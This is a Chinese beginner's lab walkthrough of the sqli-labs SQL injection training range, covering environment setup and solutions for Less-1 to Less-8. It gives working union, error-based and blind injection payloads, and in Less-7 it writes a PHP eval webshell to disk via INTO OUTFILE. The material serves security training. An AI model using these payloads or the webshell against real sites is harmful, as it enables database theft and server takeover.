sqli-labs 通关日志 萌新向

0x0 引言

sqli-labs是一个用来练习sql注入的平台,其内置集成了现存的各种sql注入,如盲注,联合查询注入等,对于萌新来说它是一个十分不错的练习平台,我们可以使用它来进行各种注入尝试,从而提升我们的sql注入能力

萌新建议先看这个帖子再来做题:https://blog.csdn.net/chest_/article/details/102537988



目录快速导航

环境的搭建 实验过程中可能会遇到的问题
工具和插件的准备 推荐的入门教学
Less-1 Less-2
Less-3 Less-4
Less-5 Less-6
Less-7 Less8
Less-9 Less-10
Less-11 Less-12
Less-13 Less-14
未完待续 2019.11.16


一、环境的搭建

0x1 靶场及phpstudy下载

phpstudy的安装方法网上一大堆,这里不做演示
phpstudy:https://www.xp.cn/download.html

靶场传送门:
链接:https://pan.baidu.com/s/1cDG7_w6ejaV_PAexLVSAag
提取码:50lf

把压缩包压缩到phpstudy里的www目录下
接着找到压缩包里的readme文件,它类似于说明书,打开后你会发现它全是英文的,这时候看不懂不要紧,我们放到百度翻译 翻译一下即可

在这里插入图片描述

0x2 链接靶场上的数据库

找到并打开 D:\phpstudy_pro\WWW\sqli-labs\sql-connections目录里的db-creds.inc文件
输入正确的用户和密码

在这里插入图片描述

0x3 设置环境变量

在phpstudy目录下搜索 mysql.exe。把mysql所在的目录设置成环境变量

在这里插入图片描述

在这里插入图片描述

win10为例:

呼叫小娜–>搜素环境变量–>系统变量(找到Path)–>编辑–>新建(要新建的目录)

在这里插入图片描述

到cmd登录数据库确认数据库是否成功连接

cmd输入 mysql -u root -p
然后输入root的密码登录
查看数据库" security "有没有加进去

在这里插入图片描述

0x2 工具和插件的准备

1、火狐浏览器,插件兼容性较好,推荐使用

2、在火狐浏览器上安装HackBar插件和FoxyProxy Standard插件

3、Bp工具 百度搜一下即可,教程资源一大堆,这里不做演示

在这里插入图片描述



Less-1

联合查询注入,单引号闭合

构造单引号,页面报错,信息为’‘1’’ LIMIT 0,1’,如下图所示

在这里插入图片描述

根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,然后通过在显示位构造注入来拿敏感数据,多余的步骤不多说了,直接开始爆数据来验证即可

在这里插入图片描述

查看源码,可以看出语句采用了字符串拼接的方式带进数据库进行数据查询,用户参数可控,并且未做任何的防御措施,这就是sql注入漏洞形成的原因了
在这里插入图片描述

通关命令:?id=-1' union select 1,2,3--+


Less-2

数字型注入,把Less-1中id=1后面的单引号去掉,其它保持不变就行了
在这里插入图片描述

通关命令:?id=-1 union select 1,2,3 --+


Less-3

根据报错信息确定变量用一对单引号加圆括号包裹起来的 (‘1’) ,闭合方式:用第一题中id=1‘的后面单引号加上),其它保持不变就行了
在这里插入图片描述

通关命令:?id=-1') union select 1,2,3 --+


Less-4

先看报错回显信息
在这里插入图片描述

单引号变成了双引号,在上一题的基础上把单引号改一下即可

通关命令:?id=-1") union select 1,2,3 --+


Less-5

报错注入 时间盲注
构造单引号回显报错
两种方法注入:1.通过updataxml函数进行注入 2.使用时间盲注

报错注入
在这里插入图片描述
时间盲注
得出盲注后直接拿sqlmap注入即可,时间盲注过于麻烦
在这里插入图片描述

通关命令:?id=1' and updatexml(1,(concat('~',database(),'~')),1) --+


Less-6

报错注入 时间盲注
把上一题的单引号换成双引号即可

在这里插入图片描述

通关命令:?id=1" and updatexml(1,(concat('~',database(),'~')),1) --+


Less-7

写入数据 [ ')) ]

闭合方式 : '))

本关的标题是dump into outfile,意思是本关需要我们利用文件导入的方式进行注入。使用此漏洞需要知道WEB程序的根路径并且MYSQL的secure-file-priv配置应为可写入该路径,这里可以通过在less1中获取网站的路径

在我们进行写入文件的前提是网站要满足以下两个条件:
1.secure-file-priv配置应为可写入,不为(null)
2.数据库当前权限为root

需要用到的函数:
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

更多注入函数可以参考这个:https://blog.csdn.net/chest_/article/details/100142391

在这里插入图片描述
得到绝对路径后,直接写入一句话拿蚁剑或者菜刀等工具链接即可即可

在这里插入图片描述

注意事项:
1.需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php
2.需要使用\\来代替目录中的\ ,不然写入后的文件名称会发生改变,这样子不方便我们拿菜刀远程连接

如果发生无法写入文件,请参考这里:mysql注入无法进行文件写入的解决方法

通关命令:?id=1')) union select 1,2,'<?php @eval($_POST["kkk"]);?>' into outfile "D:\\phpstudy_pro\\Extensions\\hhh.php" --+


Less-8

布尔盲注 [ ’ ]

先猜数据库的字节长度,确定注入点后直接拿sqlmap跑就行了,盲注过于耗时且麻烦
在这里插入图片描述
在这里插入图片描述

通关命令:?id=1' and length(database())=8 --+


Less-9



实验过程中可能会遇到的问题

0x1 输入转义 无法sql注入 找到PHP ini 关闭magic_quotes_gpc 即可

因为在magic_quotes_gpc=On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线,这个选项对注入有一定的防御,但是可采用宽字节进行绕过
在这里插入图片描述



0x2 靶场所需PHP环境不一样,如果不能运行就改PHP版本

以新版phpstudy为例
在这里插入图片描述


0x3 mysql注入无法进行文件写入

如果secure-file-priv配置为不可写入即为(null),那么就算有root权限,我们也无法对网站写入数据,这时候为了实验的效果,我们可以选择开启该选项

1.打开cmd查看该选项的配置情况

查询命令: show global variables like "secure_file_priv";

在这里插入图片描述

2.配置文件my.ini
在这里插入图片描述

在my.ini添加以下配置文件

secure_file_priv=

在这里插入图片描述

再次到cmd输入:show global variables like “secure_file_priv”;查询是否生效

在这里插入图片描述

发布了36 篇原创文章 · 获赞 60 · 访问量 9956

猜你喜欢

转载自blog.csdn.net/chest_/article/details/103100335
今日推荐